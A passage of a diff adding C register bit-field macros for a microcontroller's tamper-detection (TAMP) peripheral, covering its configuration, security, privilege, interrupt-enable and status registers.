TAMP_ATOR_PRNG_Pos) /*!< 0x00000004 */ +#define TAMP_ATOR_PRNG_3 (0x8UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000008 */ +#define TAMP_ATOR_PRNG_4 (0x10UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000010 */ +#define TAMP_ATOR_PRNG_5 (0x20UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000020 */ +#define TAMP_ATOR_PRNG_6 (0x40UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000040 */ +#define TAMP_ATOR_PRNG_7 (0x80UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000080 */ +#define TAMP_ATOR_SEEDF_Pos (14UL) +#define TAMP_ATOR_SEEDF_Msk (1UL << TAMP_ATOR_SEEDF_Pos) /*!< 0x00004000 */ +#define TAMP_ATOR_SEEDF TAMP_ATOR_SEEDF_Msk +#define TAMP_ATOR_INITS_Pos (15UL) +#define TAMP_ATOR_INITS_Msk (1UL << TAMP_ATOR_INITS_Pos) /*!< 0x00008000 */ +#define TAMP_ATOR_INITS TAMP_ATOR_INITS_Msk + +/******************** Bits definition for TAMP_ATCR2 register ***************/ +#define TAMP_ATCR2_ATOSEL1_Pos (8UL) +#define TAMP_ATCR2_ATOSEL1_Msk (0x7UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000700 */ +#define TAMP_ATCR2_ATOSEL1 TAMP_ATCR2_ATOSEL1_Msk +#define TAMP_ATCR2_ATOSEL1_0 (0x1UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000100 */ +#define TAMP_ATCR2_ATOSEL1_1 (0x2UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000200 */ +#define TAMP_ATCR2_ATOSEL1_2 (0x4UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000400 */ +#define TAMP_ATCR2_ATOSEL2_Pos (11UL) +#define TAMP_ATCR2_ATOSEL2_Msk (0x7UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00003800 */ +#define TAMP_ATCR2_ATOSEL2 TAMP_ATCR2_ATOSEL2_Msk +#define TAMP_ATCR2_ATOSEL2_0 (0x1UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00000800 */ +#define TAMP_ATCR2_ATOSEL2_1 (0x2UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00001000 */ +#define TAMP_ATCR2_ATOSEL2_2 (0x4UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00002000 */ +#define TAMP_ATCR2_ATOSEL3_Pos (14UL) +#define TAMP_ATCR2_ATOSEL3_Msk (0x7UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x0001C000 */ +#define TAMP_ATCR2_ATOSEL3 TAMP_ATCR2_ATOSEL3_Msk +#define TAMP_ATCR2_ATOSEL3_0 (0x1UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00004000 */ +#define TAMP_ATCR2_ATOSEL3_1 (0x2UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00008000 */ +#define TAMP_ATCR2_ATOSEL3_2 (0x4UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00010000 */ +#define TAMP_ATCR2_ATOSEL4_Pos (17UL) +#define TAMP_ATCR2_ATOSEL4_Msk (0x7UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x000E0000 */ +#define TAMP_ATCR2_ATOSEL4 TAMP_ATCR2_ATOSEL4_Msk +#define TAMP_ATCR2_ATOSEL4_0 (0x1UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00020000 */ +#define TAMP_ATCR2_ATOSEL4_1 (0x2UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00040000 */ +#define TAMP_ATCR2_ATOSEL4_2 (0x4UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00080000 */ +#define TAMP_ATCR2_ATOSEL5_Pos (20UL) +#define TAMP_ATCR2_ATOSEL5_Msk (0x7UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00700000 */ +#define TAMP_ATCR2_ATOSEL5 TAMP_ATCR2_ATOSEL5_Msk +#define TAMP_ATCR2_ATOSEL5_0 (0x1UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00100000 */ +#define TAMP_ATCR2_ATOSEL5_1 (0x2UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00200000 */ +#define TAMP_ATCR2_ATOSEL5_2 (0x4UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00400000 */ +#define TAMP_ATCR2_ATOSEL6_Pos (23UL) +#define TAMP_ATCR2_ATOSEL6_Msk (0x7UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x03800000 */ +#define TAMP_ATCR2_ATOSEL6 TAMP_ATCR2_ATOSEL6_Msk +#define TAMP_ATCR2_ATOSEL6_0 (0x1UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x00800000 */ +#define TAMP_ATCR2_ATOSEL6_1 (0x2UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x01000000 */ +#define TAMP_ATCR2_ATOSEL6_2 (0x4UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x02000000 */ +#define TAMP_ATCR2_ATOSEL7_Pos (26UL) +#define TAMP_ATCR2_ATOSEL7_Msk (0x7UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x1C000000 */ +#define TAMP_ATCR2_ATOSEL7 TAMP_ATCR2_ATOSEL7_Msk +#define TAMP_ATCR2_ATOSEL7_0 (0x1UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x04000000 */ +#define TAMP_ATCR2_ATOSEL7_1 (0x2UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x08000000 */ +#define TAMP_ATCR2_ATOSEL7_2 (0x4UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x10000000 */ +#define TAMP_ATCR2_ATOSEL8_Pos (29UL) +#define TAMP_ATCR2_ATOSEL8_Msk (0x7UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0xE0000000 */ +#define TAMP_ATCR2_ATOSEL8 TAMP_ATCR2_ATOSEL8_Msk +#define TAMP_ATCR2_ATOSEL8_0 (0x1UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x20000000 */ +#define TAMP_ATCR2_ATOSEL8_1 (0x2UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x40000000 */ +#define TAMP_ATCR2_ATOSEL8_2 (0x4UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x80000000 */ + +/******************** Bits definition for TAMP_SECCFGR register *************/ +#define TAMP_SECCFGR_BKPRWSEC_Pos (0UL) +#define TAMP_SECCFGR_BKPRWSEC_Msk (0xFFUL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x000000FF */ +#define TAMP_SECCFGR_BKPRWSEC TAMP_SECCFGR_BKPRWSEC_Msk +#define TAMP_SECCFGR_BKPRWSEC_0 (0x1UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000001 */ +#define TAMP_SECCFGR_BKPRWSEC_1 (0x2UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000002 */ +#define TAMP_SECCFGR_BKPRWSEC_2 (0x4UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000004 */ +#define TAMP_SECCFGR_BKPRWSEC_3 (0x8UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000008 */ +#define TAMP_SECCFGR_BKPRWSEC_4 (0x10UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000010 */ +#define TAMP_SECCFGR_BKPRWSEC_5 (0x20UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000020 */ +#define TAMP_SECCFGR_BKPRWSEC_6 (0x40UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000040 */ +#define TAMP_SECCFGR_BKPRWSEC_7 (0x80UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000080 */ +#define TAMP_SECCFGR_CNT1SEC_Pos (15UL) +#define TAMP_SECCFGR_CNT1SEC_Msk (0x1UL << TAMP_SECCFGR_CNT1SEC_Pos) /*!< 0x00008000 */ +#define TAMP_SECCFGR_CNT1SEC TAMP_SECCFGR_CNT1SEC_Msk +#define TAMP_SECCFGR_BKPWSEC_Pos (16UL) +#define TAMP_SECCFGR_BKPWSEC_Msk (0xFFUL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00FF0000 */ +#define TAMP_SECCFGR_BKPWSEC TAMP_SECCFGR_BKPWSEC_Msk +#define TAMP_SECCFGR_BKPWSEC_0 (0x1UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00010000 */ +#define TAMP_SECCFGR_BKPWSEC_1 (0x2UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00020000 */ +#define TAMP_SECCFGR_BKPWSEC_2 (0x4UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00040000 */ +#define TAMP_SECCFGR_BKPWSEC_3 (0x8UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00080000 */ +#define TAMP_SECCFGR_BKPWSEC_4 (0x10UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00100000 */ +#define TAMP_SECCFGR_BKPWSEC_5 (0x20UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00200000 */ +#define TAMP_SECCFGR_BKPWSEC_6 (0x40UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00400000 */ +#define TAMP_SECCFGR_BKPWSEC_7 (0x80UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00800000 */ +#define TAMP_SECCFGR_BHKLOCK_Pos (30UL) +#define TAMP_SECCFGR_BHKLOCK_Msk (0x1UL << TAMP_SECCFGR_BHKLOCK_Pos) /*!< 0x40000000 */ +#define TAMP_SECCFGR_BHKLOCK TAMP_SECCFGR_BHKLOCK_Msk +#define TAMP_SECCFGR_TAMPSEC_Pos (31UL) +#define TAMP_SECCFGR_TAMPSEC_Msk (0x1UL << TAMP_SECCFGR_TAMPSEC_Pos) /*!< 0x80000000 */ +#define TAMP_SECCFGR_TAMPSEC TAMP_SECCFGR_TAMPSEC_Msk + +/******************** Bits definition for TAMP_PRIVCFGR register ************/ +#define TAMP_PRIVCFGR_CNT1PRIV_Pos (15UL) +#define TAMP_PRIVCFGR_CNT1PRIV_Msk (0x1UL << TAMP_PRIVCFGR_CNT1PRIV_Pos) /*!< 0x20000000 */ +#define TAMP_PRIVCFGR_CNT1PRIV TAMP_PRIVCFGR_CNT1PRIV_Msk +#define TAMP_PRIVCFGR_BKPRWPRIV_Pos (29UL) +#define TAMP_PRIVCFGR_BKPRWPRIV_Msk (0x1UL << TAMP_PRIVCFGR_BKPRWPRIV_Pos) /*!< 0x20000000 */ +#define TAMP_PRIVCFGR_BKPRWPRIV TAMP_PRIVCFGR_BKPRWPRIV_Msk +#define TAMP_PRIVCFGR_BKPWPRIV_Pos (30UL) +#define TAMP_PRIVCFGR_BKPWPRIV_Msk (0x1UL << TAMP_PRIVCFGR_BKPWPRIV_Pos) /*!< 0x40000000 */ +#define TAMP_PRIVCFGR_BKPWPRIV TAMP_PRIVCFGR_BKPWPRIV_Msk +#define TAMP_PRIVCFGR_TAMPPRIV_Pos (31UL) +#define TAMP_PRIVCFGR_TAMPPRIV_Msk (0x1UL << TAMP_PRIVCFGR_TAMPPRIV_Pos) /*!< 0x80000000 */ +#define TAMP_PRIVCFGR_TAMPPRIV TAMP_PRIVCFGR_TAMPPRIV_Msk + +/******************** Bits definition for TAMP_IER register *****************/ +#define TAMP_IER_TAMP1IE_Pos (0UL) +#define TAMP_IER_TAMP1IE_Msk (0x1UL << TAMP_IER_TAMP1IE_Pos) /*!< 0x00000001 */ +#define TAMP_IER_TAMP1IE TAMP_IER_TAMP1IE_Msk +#define TAMP_IER_TAMP2IE_Pos (1UL) +#define TAMP_IER_TAMP2IE_Msk (0x1UL << TAMP_IER_TAMP2IE_Pos) /*!< 0x00000002 */ +#define TAMP_IER_TAMP2IE TAMP_IER_TAMP2IE_Msk +#define TAMP_IER_TAMP3IE_Pos (2UL) +#define TAMP_IER_TAMP3IE_Msk (0x1UL << TAMP_IER_TAMP3IE_Pos) /*!< 0x00000004 */ +#define TAMP_IER_TAMP3IE TAMP_IER_TAMP3IE_Msk +#define TAMP_IER_TAMP4IE_Pos (3UL) +#define TAMP_IER_TAMP4IE_Msk (0x1UL << TAMP_IER_TAMP4IE_Pos) /*!< 0x00000008 */ +#define TAMP_IER_TAMP4IE TAMP_IER_TAMP4IE_Msk +#define TAMP_IER_TAMP5IE_Pos (4UL) +#define TAMP_IER_TAMP5IE_Msk (0x1UL << TAMP_IER_TAMP5IE_Pos) /*!< 0x00000010 */ +#define TAMP_IER_TAMP5IE TAMP_IER_TAMP5IE_Msk +#define TAMP_IER_TAMP6IE_Pos (5UL) +#define TAMP_IER_TAMP6IE_Msk (0x1UL << TAMP_IER_TAMP6IE_Pos) /*!< 0x00000020 */ +#define TAMP_IER_TAMP6IE TAMP_IER_TAMP6IE_Msk +#define TAMP_IER_TAMP7IE_Pos (6UL) +#define TAMP_IER_TAMP7IE_Msk (0x1UL << TAMP_IER_TAMP7IE_Pos) /*!< 0x00000040 */ +#define TAMP_IER_TAMP7IE TAMP_IER_TAMP7IE_Msk +#define TAMP_IER_TAMP8IE_Pos (7UL) +#define TAMP_IER_TAMP8IE_Msk (0x1UL << TAMP_IER_TAMP8IE_Pos) /*!< 0x00000080 */ +#define TAMP_IER_TAMP8IE TAMP_IER_TAMP8IE_Msk +#define TAMP_IER_ITAMP1IE_Pos (16UL) +#define TAMP_IER_ITAMP1IE_Msk (0x1UL << TAMP_IER_ITAMP1IE_Pos) /*!< 0x00010000 */ +#define TAMP_IER_ITAMP1IE TAMP_IER_ITAMP1IE_Msk +#define TAMP_IER_ITAMP2IE_Pos (17UL) +#define TAMP_IER_ITAMP2IE_Msk (0x1UL << TAMP_IER_ITAMP2IE_Pos) /*!< 0x00020000 */ +#define TAMP_IER_ITAMP2IE TAMP_IER_ITAMP2IE_Msk +#define TAMP_IER_ITAMP3IE_Pos (18UL) +#define TAMP_IER_ITAMP3IE_Msk (0x1UL << TAMP_IER_ITAMP3IE_Pos) /*!< 0x00040000 */ +#define TAMP_IER_ITAMP3IE TAMP_IER_ITAMP3IE_Msk +#define TAMP_IER_ITAMP5IE_Pos (20UL) +#define TAMP_IER_ITAMP5IE_Msk (0x1UL << TAMP_IER_ITAMP5IE_Pos) /*!< 0x00100000 */ +#define TAMP_IER_ITAMP5IE TAMP_IER_ITAMP5IE_Msk +#define TAMP_IER_ITAMP6IE_Pos (21UL) +#define TAMP_IER_ITAMP6IE_Msk (0x1UL << TAMP_IER_ITAMP6IE_Pos) /*!< 0x00200000 */ +#define TAMP_IER_ITAMP6IE TAMP_IER_ITAMP6IE_Msk +#define TAMP_IER_ITAMP7IE_Pos (22UL) +#define TAMP_IER_ITAMP7IE_Msk (0x1UL << TAMP_IER_ITAMP7IE_Pos) /*!< 0x00400000 */ +#define TAMP_IER_ITAMP7IE TAMP_IER_ITAMP7IE_Msk +#define TAMP_IER_ITAMP8IE_Pos (23UL) +#define TAMP_IER_ITAMP8IE_Msk (0x1UL << TAMP_IER_ITAMP8IE_Pos) /*!< 0x00800000 */ +#define TAMP_IER_ITAMP8IE TAMP_IER_ITAMP8IE_Msk +#define TAMP_IER_ITAMP9IE_Pos (24UL) +#define TAMP_IER_ITAMP9IE_Msk (0x1UL << TAMP_IER_ITAMP9IE_Pos) /*!< 0x01000000 */ +#define TAMP_IER_ITAMP9IE TAMP_IER_ITAMP9IE_Msk +#define TAMP_IER_ITAMP11IE_Pos (26UL) +#define TAMP_IER_ITAMP11IE_Msk (0x1UL << TAMP_IER_ITAMP11IE_Pos) /*!< 0x04000000 */ +#define TAMP_IER_ITAMP11IE TAMP_IER_ITAMP11IE_Msk +#define TAMP_IER_ITAMP12IE_Pos (27UL) +#define TAMP_IER_ITAMP12IE_Msk (0x1UL << TAMP_IER_ITAMP12IE_Pos) /*!< 0x08000000 */ +#define TAMP_IER_ITAMP12IE TAMP_IER_ITAMP12IE_Msk +#define TAMP_IER_ITAMP13IE_Pos (28UL) +#define TAMP_IER_ITAMP13IE_Msk (0x1UL << TAMP_IER_ITAMP13IE_Pos) /*!< 0x10000000 */ +#define TAMP_IER_ITAMP13IE TAMP_IER_ITAMP13IE_Msk + +/******************** Bits definition for TAMP_SR register *****************/ +#define TAMP_SR_TAMP1F_Pos (0UL) +#define TAMP_SR_TAMP1F_Msk (0x1UL << TAMP_SR_TAMP1F_Pos) /*!< 0x00000001 */ +#define TAMP_SR_TAMP1F TAMP_SR_TAMP1F_Msk +#define TAMP_SR_TAMP2F_Pos (1UL) +#define TAMP_SR_TAMP2F_Msk (0x1UL << TAMP_SR_TAMP2F_Pos) /*!< 0x00000002 */ +#define TAMP_SR_TAMP2F TAMP_SR_TAMP2F_Msk +#define TAMP_SR_TAMP3F_Pos (2UL) +#define TAMP_SR_TAMP3F_Msk (0x1UL << TAMP_SR_TAMP3F_Pos) /*!< 0x00000004 */ +#define TAMP_SR_TAMP3F TAMP_SR_TAMP3F_Msk +#define TAMP_SR_TAMP4F_Pos (3UL) +#define TAMP_SR_TAMP4F_Msk (0x1UL << TAMP_SR_TAMP4F_Pos) /*!< 0x00000008 */ +#define TAMP_SR_TAMP4F TAMP_SR_TAMP4F_Msk +#define TAMP_SR_TAMP5F_Pos (4UL) +#define TAMP_SR_TAMP5F_Msk (0x1UL << TAMP_SR_TAMP5F_Pos) /*!< 0x00000010 */ +#define TAMP_SR_TAMP5F TAMP_SR_TAMP5F_Msk +#define TAMP_SR_TAMP6F_Pos (5UL) +#define TAMP_SR_TAMP6F_Msk (0x1UL << TAMP_SR_TAMP6F_Pos) /*!< 0x00000020 */ +#define TAMP_SR_TAMP6F TAMP_SR_TAMP6F_Msk +#define TAMP_SR_TAMP7F_Pos (6UL) +#define TAMP_SR_TAMP7F_Msk (0x1UL << TAMP_SR_TAMP7F_Pos) /*!< 0x00000040 */ +#define TAMP_SR_TAMP7F TAMP_SR_TAMP7F_Msk +#define TAMP_SR_TAMP8F_Pos (7UL) +#define TAMP_SR_TAMP8F_Msk (0x1UL << TAMP_SR_TAMP8F_Pos) /*!< 0x00000080 */ +#define TAMP_SR_TAMP8F TAMP_SR_TAMP8F_Msk +#define TAMP_SR_ITAMP1F_Pos (16UL) +#define TAMP_SR_ITAMP1F_Msk (0x1UL << TAMP_SR_ITAMP1F_Pos) /*!< 0x00010000 */ +#define TAMP_SR_ITAMP1F TAMP_SR_ITAMP1F_Msk +#define TAMP_SR_ITAMP2F_Pos (17UL) +#define TAMP_SR_ITAMP2F_Msk (0x1UL << TAMP_SR_ITAMP2F_Pos) /*!< 0x00010000 */ +#define TAMP_SR_ITAMP2F TAMP_SR_ITAMP2F_Msk +#define TAMP_SR_ITAMP3F_Pos (18UL) +#define TAMP_SR_ITAMP3F_Msk (0x1UL << TAMP_SR_ITAMP3F_Pos) /*!< 0x00040000 */ +#define TAMP_SR_ITAMP3F TAMP_SR_ITAMP3F_Msk +#define TAMP_SR_ITAMP5F_Pos (20UL) +#define TAMP_SR_ITAMP5F_Msk (0x1UL << TAMP_SR_ITAMP5F_Pos) /*!< 0x00100000 */ +#define TAMP_SR_ITAMP5F TAMP_SR_ITAMP5F_Msk +#define TAMP_SR_ITAMP6F_Pos (21UL) +#define TAMP_SR_ITAMP6F_Msk (0x1UL << TAMP_SR_ITAMP6F_Pos) /*!< 0x00200000 */ +#define TAMP_SR_ITAMP6F TAMP_SR_ITAMP6F_Msk +#define TAMP_SR_ITAMP7F_Pos (22UL) +#define TAMP_SR_ITAMP7F_Msk (0x1UL << TAMP_SR_ITAMP7F_Pos) /*!< 0x00400000 */ +#define TAMP_SR_ITAMP7F TAMP_SR_ITAMP7F_Msk +#define TAMP_SR_ITAMP8F_Pos (23UL) +#define TAMP_SR_ITAMP8F_Msk (0x1UL << TAMP_SR_ITAMP8F_Pos) /*!< 0x00800000 */ +#define TAMP_SR_ITAMP8F TAMP_SR_ITAMP8F_Msk +#define TAMP_SR_ITAMP9F_Pos (24UL) +#define TAMP_SR_ITAMP9F_Msk (0x1UL << TAMP_SR_ITAMP9F_Pos) /*!< 0x01000000 */ +#define TAMP_SR_ITAMP9F TAMP_SR_ITAMP9F_Msk +#define TAMP_SR_ITAMP11F_Pos (26UL) +#define TAMP_SR_ITAMP11F_Msk (0x1UL << TAMP_SR_ITAMP11F_Pos) /*!< 0x04000000 */ +#define TAMP_SR_ITAMP11F TAMP_SR_ITAMP11F_Msk +#define TAMP_SR_ITAMP12F_Pos (27UL) +#define TAMP_SR_ITAMP12F_Msk (0x1UL << TAMP_SR_ITAMP12F_Pos) /*!< 0x08000000 */ +#define TAMP_SR_ITAMP12F TAMP_SR_ITAMP12F_Msk +#define TAMP_SR_ITAMP13F_Pos (28UL) +#define TAMP_SR_ITAMP13F_Msk (0x1UL << TAMP_SR_ITAMP13F_Pos) /*!< 0x10000000 */ +#define TAMP_SR_ITAMP13F TAMP_SR_ITAMP13F_Msk + +/******************** Bits definition for TAMP_MISR register ****************/ +#define TAMP_MISR_TAMP1MF_Pos (0UL) +#define TAMP_MISR_TAMP1MF_Msk (0x1UL << TAMP_MISR_TAMP1MF_Pos) /*!< 0x00000001 */ +#define TAMP_MISR_TAMP1MF TAMP_MISR_TAMP1MF_Msk +#define TAMP_MISR_TAMP2MF_Pos (1UL) +#define TAMP_MISR_TAMP2MF_Msk (0x1UL << TAMP_MISR_TAMP2MF_Pos) /*!< 0x00000002 */ +#define TAMP_MISR_TAMP2MF TAMP_MISR_TAMP2MF_Msk +#define TAMP_MISR_TAMP3MF_Pos (2UL) +#define TAMP_MISR_TAMP3MF_Msk (0x1UL << TAMP_MISR_TAMP3MF_Pos) /*!< 0x00000004 */ +#define TAMP_MISR_TAMP3MF TAMP_MISR_TAMP3MF_Msk +#define TAMP_MISR_TAMP4MF_Pos (3UL) +#define TAMP_MISR_TAMP4MF_Msk (0x1UL << TAMP_MISR_TAMP4MF_Pos) /*!< 0x00000008 */ +#define TAMP_MISR_TAMP4MF TAMP_MISR_TAMP4MF_Msk +#define TAMP_MISR_TAMP5MF_Pos (4UL) +#define TAMP_MISR_TAMP5MF_Msk (0x1UL << TAMP_MISR_TAMP5MF_Pos) /*!< 0x00000010 */ +#define TAMP_MISR_TAMP5MF TAMP_MISR_TAMP5MF_Msk +#define TAMP_MISR_TAMP6MF_Pos (5UL) +#define TAMP_MISR_TAMP6MF_Msk (0x1UL << TAMP_MISR_TAMP6MF_Pos) /*!< 0x00000020 */ +#define TAMP_MISR_TAMP6MF TAMP_MISR_TAMP6MF_Msk +#define TAMP_MISR_TAMP7MF_Pos (6UL) +#define TAMP_MISR_TAMP7MF_Msk (0x1UL << TAMP_MISR_TAMP7MF_Pos) /*!< 0x00000040 */ +#define TAMP_MISR_TAMP7MF TAMP_MISR_TAMP7MF_Msk +#define TAMP_MISR_TAMP8MF_Pos (7UL) +#define TAMP_MISR_TAMP8MF_Msk (0x1UL << TAMP_MISR_TAMP8MF_Pos) /*!< 0x00000080 */ +#define TAMP_MISR_TAMP8MF TAMP_MISR_TAMP8MF_Msk +#define TAMP_MISR_ITAMP1MF_Pos (16UL) +#define TAMP_MISR_ITAMP1MF_Msk (0x1UL << TAMP_MISR_ITAMP1MF_Pos) /*!< 0x00010000 */ +#define TAMP_MISR_ITAMP1MF TAMP_MISR_ITAMP1MF_Msk +#define TAMP_MISR_ITAMP2MF_Pos (17UL) +#define TAMP_MISR_ITAMP2MF_Msk (0x1UL << TAMP_MISR_ITAMP2MF_Pos) /*!< 0x00010000 */ +#define TAMP_MISR_ITAMP2MF TAMP_MISR_ITAMP2MF_Msk +#define TAMP_MISR_ITAMP3MF_Pos (18UL) +#define TAMP_MISR_ITAMP3MF_Msk (0x1UL << TAMP_MISR_ITAMP3MF_Pos) /*!< 0x00040000 */ +#define TAMP_MISR_ITAMP3MF TAMP_MISR_ITAMP3MF_Msk +#define TAMP_MISR_ITAMP5MF_Pos (20UL) +#define TAMP_MISR_ITAMP5MF_Msk (0x1UL << TAMP_MISR_ITAMP5MF_Pos) /*!< 0x00100000 */ +#define TAMP_MISR_ITAMP5MF TAMP_MISR_ITAMP5MF_Msk +#define TAMP_MISR_ITAMP6MF_Pos (21UL) +#define TAMP_MISR_ITAMP6MF_Msk (0x1UL << TAMP_MISR_ITAMP6MF_Pos) /*!< 0x00200000 */ +#define TAMP_MISR_ITAMP6MF TAMP_MISR_ITAMP6MF_Msk +#define TAMP_MISR_ITAMP7MF_Pos (22UL) +#define TAMP_MISR_ITAMP7MF_Msk (0x1UL << TAMP_MISR_ITAMP7MF_Pos) /*!< 0x00400000 */ +#define TAMP_MISR_ITAMP7MF TAMP_MISR_ITAMP7MF_Msk +#define TAMP_MISR_ITAMP8MF_Pos (23UL) +#define TAMP_MISR_ITAMP8MF_Msk (0x1UL << TAMP_MISR_ITAMP8MF_Pos) /*!< 0x00800000 */ +#define TAMP_MISR_ITAMP8MF TAMP_MISR_ITAMP8MF_Msk +#define TAMP_MISR_ITAMP9MF_Pos (24UL) +#define TAMP_MISR_ITAMP9MF_Msk (0x1UL << TAMP_MISR_ITAMP9MF_Pos) /*!< 0x01000000 */ +#define TAMP_MISR_ITAMP9MF TAMP_MISR_ITAMP9MF_Msk +#define TAMP_MISR_ITAMP11MF_Pos (26UL) +#define TAMP_MISR_ITAMP11MF_Msk (0x1UL << TAMP_MISR_ITAMP11MF_Pos) /*!< 0x04000000 */ +#define TAMP_MISR_ITAMP11MF TAMP_MISR_ITAMP11MF_Msk +#define TAMP_MISR_ITAMP12MF_Pos (27UL) +#define TAMP_MISR_ITAMP12MF_Msk (0x1UL << TAMP_MISR_ITAMP12MF_Pos) /*!< 0x08000000 */ +#define TAMP_MISR_ITAMP12MF TAMP_MISR_ITAMP12MF_Msk +#define TAMP_MISR_ITAMP13MF_Pos (28UL) +#define TAMP_MISR_ITAMP13MF_Msk (0x1UL << TAMP_MISR_ITAMP13MF_Pos) /*!< 0x10000000 */ +#define TAMP_MISR_ITAMP13MF TAMP_MISR_ITAMP13MF_Msk + +/******************** Bits definition for TAMP_SMISR register ************ *****/ +#define TAMP_SMISR_TAMP1MF_Pos (0UL) +#define TAMP_SMISR_TAMP1MF_Msk (0x1UL << TAMP_SMISR_TAMP1MF_Pos) /*!< 0x00000001 */ +#define TAMP_SMISR_TAMP1MF TAMP_SMISR_TAMP1MF_Msk +#define TAMP_SMISR_TAMP2MF_Pos (1UL) +#define TAMP_SMISR_TAMP2MF_Msk (0x1UL << TAMP_SMISR_TAMP2MF_Pos) /*!< 0x00000002 */ +#define TAMP_SMISR_TAMP2MF TAMP_SMISR_TAMP2MF_Msk +#define TAMP_SMISR_TAMP3MF_Pos (2UL) +#define TAMP_SMISR_TAMP3MF_Msk (0x1UL << TAMP_SMISR_TAMP3MF_Pos) /*!< 0x00000004 */ +#define TAMP_SMISR_TAMP3MF TAMP_SMISR_TAMP3MF_Msk +#define TAMP_SMISR_TAMP4MF_Pos (3UL) +#define TAMP_SMISR_TAMP4MF_Msk (0x1UL << TAMP_SMISR_TAMP4MF_Pos) /*!< 0x00000008 */ +#define TAMP_SMISR_TAMP4MF TAMP_SMISR_TAMP4MF_Msk +#define TAMP_SMISR_TAMP5MF_Pos (4UL) +#define TAMP_SMISR_TAMP5MF_Msk (0x1UL << TAMP_SMISR_TAMP5MF_Pos) /*!< 0x00000010 */ +#define TAMP_SMISR_TAMP5MF TAMP_SMISR_TAMP5MF_Msk +#define TAMP_SMISR_TAMP6MF_Pos (5UL) +#define TAMP_SMISR_TAMP6MF_Msk (0x1UL << TAMP_SMISR_TAMP6MF_Pos) /*!< 0x00000020 */ +#define TAMP_SMISR_TAMP6MF TAMP_SMISR_TAMP6MF_Msk +#define TAMP_SMISR_TAMP7MF_Pos (6UL) +#define TAMP_SMISR_TAMP7MF_Msk (0x1UL << TAMP_SMISR_TAMP7MF_Pos) /*!< 0x00000040 */ +#define TAMP_SMISR_TAMP7MF TAMP_SMISR_TAMP7MF_Msk +#define TAMP_SMISR_TAMP8MF_Pos (7UL) +#define TAMP_SMISR_TAMP8MF_Msk (0x1UL << TAMP_SMISR_TAMP8MF_Pos) /*!< 0x00000080 */ +#define TAMP_SMISR_TAMP8MF TAMP_SMISR_TAMP8MF_Msk +#define TAMP_SMISR_ITAMP1MF_Pos (16UL) +#define TAMP_SMISR_ITAMP1MF_Msk (0x1UL << TAMP_SMISR_ITAMP1MF_Pos) /*!< 0x00010000 */ +#define TAMP_SMISR_ITAMP1MF TAMP_SMISR_ITAMP1MF_Msk +#define TAMP_SMISR_ITAMP2MF_Pos (17UL) +#define TAMP_SMISR_ITAMP2MF_Msk (0x1UL << TAMP_SMISR_ITAMP2MF_Pos) /*!< 0x00010000 */ +#define TAMP_SMISR_ITAMP2MF TAMP_SMISR_ITAMP2MF_Msk +#define TAMP_SMISR_ITAMP3MF_Pos (18UL) +#define TAMP_SMISR_ITAMP3MF_Msk (0x1UL << TAMP_SMISR_ITAMP3MF_Pos) /*!< 0x00040000 */ +#define TAMP_SMISR_ITAMP3MF TAMP_SMISR_ITAMP3MF_Msk +#define TAMP_SMISR_ITAMP5MF_Pos (20UL) +#define TAMP_SMISR_ITAMP5MF_Msk (0x1UL << TAMP_SMISR_ITAMP5MF_Pos) /*!< 0x00100000 */ +#define TAMP_SMISR_ITAMP5MF 